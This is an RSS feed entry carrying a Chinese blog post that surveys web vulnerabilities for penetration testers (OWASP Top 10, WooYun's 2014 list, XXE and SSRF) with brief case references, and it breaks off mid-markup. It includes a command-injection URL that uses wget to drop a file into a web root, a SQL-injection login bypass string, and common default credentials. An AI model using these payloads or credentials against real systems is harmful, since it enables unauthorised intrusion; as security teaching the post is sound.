﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-qileilove-随笔分类-新闻</title><link>http://www.blogjava.net/qileilove/category/49768.html</link><description>不想做屌丝的码农，不是好项目经理！屌丝生涯从此开始！</description><language>zh-cn</language><lastBuildDate>Fri, 12 Dec 2014 08:12:19 GMT</lastBuildDate><pubDate>Fri, 12 Dec 2014 08:12:19 GMT</pubDate><ttl>60</ttl><item><title>渗透测试必知必会—Web漏洞</title><link>http://www.blogjava.net/qileilove/archive/2014/12/11/421306.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Thu, 11 Dec 2014 15:26:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/11/421306.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421306.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/11/421306.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421306.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421306.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">0x00前言</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　本文为对<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">WEB</strong></u></a>漏洞研究系列的开篇，日后会针对这些漏洞一一研究，敬请期待</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">0x01 目录</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　0x00 前言</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　0x01 目录</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　0x02 OWASP TOP10 简单介绍</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　0x03 乌云TOP 10 简单介绍</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　0x04 非主流的WEB漏洞</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">0x02 OWASP TOP10 简单介绍</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　除了OWASP的TOP10，Web安全漏洞还有很多很多，在做<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>和加固系统时也不能老盯着TOP10，实际上是TOP10中的那少数几个</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　直接说2013的：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　A1: 注入，包括<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">SQL</strong></u></a>注入、OS注入、LDAP注入。SQL注入最常见，wooyun.org || http://packetstormsecurity.com 搜SQL注入有非常多的案例，由于现在自动化工具非常多，通常都是找到注入点后直接交给以sqlmap为代表的工具</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　命令注入相对来说出现得较少，形式可以是：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　https://1XX.202.234.22/debug/list_logfile.php?action=restartservice&amp;bash=;wget -O /Isc/third-party/httpd/htdocs/index_bak.php http://xxphp.txt;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　也可以查看案例：极路由云插件安装<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">shell</strong></u></a>命令注入漏洞 ，未对用户输入做任何校验，因此在web端ssh密码填写处输入一条命令`dropbear`便得到了执行</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　直接搜索LDAP注入案例，简单尝试下并没有找到，关于LDAP注入的相关知识可以参考我整理的LDAP注入与防御解析。虽然没有搜到LDAP注入的案例，但是重要的LDAP信息 泄露还是挺多的，截至目前，乌云上搜关键词LDAP有81条记录。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　PHP对象注入：偶然看到有PHP对象注入这种漏洞，OWASP上对其的解释为：依赖于上下文的应用层漏洞，可以让攻击者实施多种恶意攻击，如代码注入、SQL注入、路径遍历及拒绝服务。实现对象注入的条件为：1) 应用程序必须有一个实现PHP魔术方法(如 __wakeup或 __destruct)的类用于执行恶意攻击，或开始一个"POP chain"；2) 攻击中用到的类在有漏洞的unserialize()被调用时必须已被声明，或者自动加载的对象必须被这些类支持。PHP对象注入的案例及<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">文章</strong></u></a>可以参考WordPress &lt; 3.6.1 PHP 对象注入漏洞。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　在查找资料时，看到了PHP 依赖注入，原本以为是和安全相关的，结果发现：依赖注入是对于要求更易维护，更易测试，更加模块化的代码的解决方案。果然不同的视角，对同一个词的理解相差挺多的。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　A2: 失效的身份认证及会话管理，乍看身份认证觉得是和输入密码有关的，实际上还有会话id泄露等情况，注意力集中在口令安全上：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">案例1：空口令</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　乌云：国内cisco系列交换机空密码登入大集合</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　乌云：UC某服务器可空口令访问<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">数据库</strong></u></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　案例2：弱口令</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　乌云：盛大某站后台存在简单弱口令可登录　　admin/admin</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　乌云：电信某省客服系统弱口令泄漏各种信息　.../123456</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　乌云：中国建筑股份有限公司OA系统tomcat弱口令导致沦陷　　tomcat/tomcat</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">案例3：万能密码</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　乌云：<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">移动</strong></u></a>号码上户系统存在过滤不严　　admin'OR'a'='a/admin'OR'a'='a (实际上仍属于SQL注入)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">弱口令案例实在不一而足</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　在乌云一些弱口令如下：其中出镜次数最高的是：admin/admin, admin/123456</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;"><font color="#45a2fc"><span style="line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412111040521DFFa.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></span></font><br /></a><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　如果要继续深究下去或者取得更多数据进行分析的话，结局就会如猪猪侠总结的那样：</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><font color="#202859"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_2014121110405227ae3.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></font></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　当然会话存在的安全问题也是需要考虑的，可以是令牌、token被窃取，尤其当会话没有设置生命周期时很容易出现会话/身份被劫持</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　会话管理问题可以是用户A登陆了某个地址，但是没有注销(奇葩情况是注销无效)，直接退出了浏览器又没有清除cookie，如果说这时候有B借用A的电脑，他直接以A的身份登陆该地址是没有问题的，这不是服务端的问题。但假设之后A都没有访问改地址，而是把电脑合上待机了，第二天如果B借用他的电脑直接登陆了该地址，则责任在于服务端的会话管理不当，没有设置超时时间。除此之外，还有会话重放、会话信息泄露等问题。说到会话信息泄露，不禁想起将sessionid放在URL中的情形，鄙人暂未遇到直接利用这个可以窃取会话的，但不排除其可能</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　A3: 跨站脚本(XSS)，最普遍的漏洞，曾被认为是鸡肋漏洞，事实证明有时候危害很大的，窃取cookie，构造蠕虫不一而足。XSS的技术体现在Javascript功底上，现在很多网站都有针对XSS的过滤器，J2EE可以使用全局过滤器，但是过滤器基本都是使用黑名单设防，是有可能绕过的，回应了技术体现在Javascript功底上。跨站脚本还有flash类型的，由于相比之下出现得比较少，浏览器和过滤器的防御精力不在这上面，如果出现可能更容易成功。值得一提的是，对于XSS，现在的扫描工具都会将其标识为高危漏洞，实际上扫描器根据返回的响应中是否有加入的载荷来判断跨站脚本漏洞存在的可能性，误报率会比较高。还有就是常规扫描器只能识别反射型XSS，反射型XSS本身危害是比较小的，存储型XSS危害才大(危害大小看具体情况)。反射型XSS现在常规payload要想过IE10、IE11或chrome还是有难度的，因此XSS技术的另一个体现方面即是对浏览器特性的了解。至于存储型XSS，则要看具体业务和数据是否会受影响，用户交互程度越高，利用难度就越大，如果能弹框证实漏洞存在，但很难被触发或者就算窃取到cookie也无法登陆，很难说明是高风险安全问题，但还是有修复和改进的必要。</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　A4: 不安全的直接对象引用，访问控制不当的问题，常见为越权操作(横向+纵向)，譬如：遍历用户id批量获取用户信息、在HTTP请求中篡改某个参数的值就变成了其他身份进行的操作，最激动人心的是可以进行刷钱等操作。越权问题并不高深，相比SQL注入和XSS技术难度还要低一点，因为通常只要改参数值就可以了(一般来说)。防止此类问题的做法很简单，当用户需要访问某资源或进行操作时，服务器端取出来访用户的session值，判断是否具有访问或操作权限。</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　在访问控制操作中，我们可以设定某一资源或文件A可以访问、B不能访问，但是当对应的用户多起来时也会遇到麻烦。也可以为用户访问资源或文件标志一个权限，作为一个会话属性，属于自己的才可以操作或访问，具体情况具体讨论。</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　<strong style="word-break: break-all; line-height: normal !important;">案例1：水平越权</strong></a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　乌云：虎扑某功能存在水平越权</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　<strong style="word-break: break-all; line-height: normal !important;">　案例2： 垂直越权</strong></a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　乌云：中国电信某系统管理员WEB界面越权访问</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　A5-A7\A9: 安全配置错误\敏感数据泄露\功能级访问控制缺失\使用含已知漏洞的组件=&gt;运维不当，直接看运维不当的</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　知乎专栏：运维安全(...)</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　乌云知识库：从乌云看运维安全那点事儿</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　引用一下知识库的内容，问题有：</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　struts漏洞</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　Web服务器未及时打补丁，有解析漏洞</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　PHP-CGI RCE</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　FCK编辑器</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　server-status信息泄露</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　网站备份文件放在web目录，可被下载</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　列目录导致可看到敏感数据并查看</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　snmp信息泄露</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　weblogic弱口令</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　SVN信息泄露</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　域传送漏洞</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　Rsync</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　hadoop对外</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　nagios信息泄露</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　ftp弱口令或支持匿名访问导致信息泄露</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　RTX泄露信息</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　Ganglia信息泄露</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　j2ee应用架构开始占主流，典型的web服务器搭配配置失误</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　Jenkins平台没有设置登录验证</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　zabbix</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　zenoss监控系统</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　Resin文件读取</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　memcache未限制访问IP</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　JBoss问题</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　测试服务器外网可访问</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　padding oracle attack</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　用户名密码放在服务器上&#8230;&#8230;</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　A8: 跨站请求伪造(CSRF)</a></div><div style="word-break: break-all; color: #333333; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;">　　CSRF曾被称为沉睡的巨人，以前拿来举例时都是说Alice给Bob转钱，结果morry插了一脚，钱就跑到morry家去了。危害可大可小，直接通过URL增删改操作的也还有，更多的还是基于表单。如果是XSS+CSRF =&gt;蠕虫 就比较可观了，也曾看到过直接get root的案例<br /></a><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank"><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><strong style="word-break: break-all; line-height: normal !important;">案例：万达电影主站 xss + csrf</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A10: 无效的重定向</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　控制重定向可以钓鱼，可以获取敏感文件的信息，在struts2中也有开放重定向的命令执行</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">0x03 乌云TOP 10 简单介绍</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　上述就是OWASP TOP10的WEB漏洞，乌云出了一个更加符合中国国情的 乌云：Top10 for 2014，看着也是触目惊心</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A1-互联网泄密事件/撞库攻击</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　本质上来说是使用了不安全的口令，也许我可以将自己的密码设置的很复杂，别人破解不出来。但对于撞库攻击而言，可以说是不怕神一样的对手，就怕猪一样的队友。我们注册使用的网站或服务商他们保存了我们使用的密码，而很多时候被泄露出去了我们并不知道。这也是考验我们密码习惯的时候了，强密码+不同的密码，当然密码多了也难以记住，不行就借助软件或者普通账号用同一个密码，重要账号用不同密码吧</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A2-引用不安全的第三方应用</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　举的例子是heart bleed漏洞使用的openssl，另外struts2的漏洞也还数见不鲜，其次就是CMS如wordpress使用的插件,当然shellshock也会有很多中枪的</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A3-系统错误/逻辑缺陷带来的暴力猜解</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　暴力破解：没对请求和错误次数做限制；重放攻击同样是没做检验或限制</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A4-敏感信息/配置信息泄露</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　包括但不限于目录遍历、日志、配置文件、svn目录、github或其他博客等地方</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A5-应用错误配置/默认配置</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　包括但不限于默认路径、默认口令、目录穿越、任意文件下载等</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A6-SQL注入漏洞</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A7-XSS跨站脚本攻击/CSRF</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A8-未授权访问/权限绕过</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　可匿名访问\判断referer值后免登陆</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A9-账户体系控制不严/越权操作</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A10-内部重要资料/文档外泄</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　还是信息泄露，但是做了区分，不同于应用或服务器的信息泄露，专指内部信息泄露哟</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">0x04 非主流的WEB漏洞</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　实际上，如果要挖漏洞或者做测试，从乌云上找案例会比较方便，除了常见的几类代码层面的问题，更多的是配置不当方面的，最终归结到信息安全链上最脆弱的还是人本身</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　除了上面提到的这些，其实还有很多的漏洞啊，跟设备有关系的就先不说了，再提一下两个看起来不错的：XXE、SSRF(or XSPA)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　XXE：XML外部实体注入，不仅仅是敏感信息泄露，腾讯安全中心：XXE漏洞攻防</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　案例：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　1. 乌云：百度某功能XML实体注入</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　2. 乌云：139邮箱XXE漏洞可读取文件</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　3. 乌云：从开源中国的某XXE漏洞到主站shell</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　SSRF(服务端请求伪造): 据说用这招可以成功多次进入阿里、腾讯、百度等的内网，没爆出来的估计很多被用作杀器了</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　案例：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　1. 乌云：百度贴吧SSRF</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　2. 乌云：新浪SSRF</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　3. 乌云：阿里巴巴SSRF</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　上面几个案例有的是分享功能，有的是其他功能，共同点在于都是跟的url参数，且没做限制，导致内网信息泄露</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　（未完...）</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 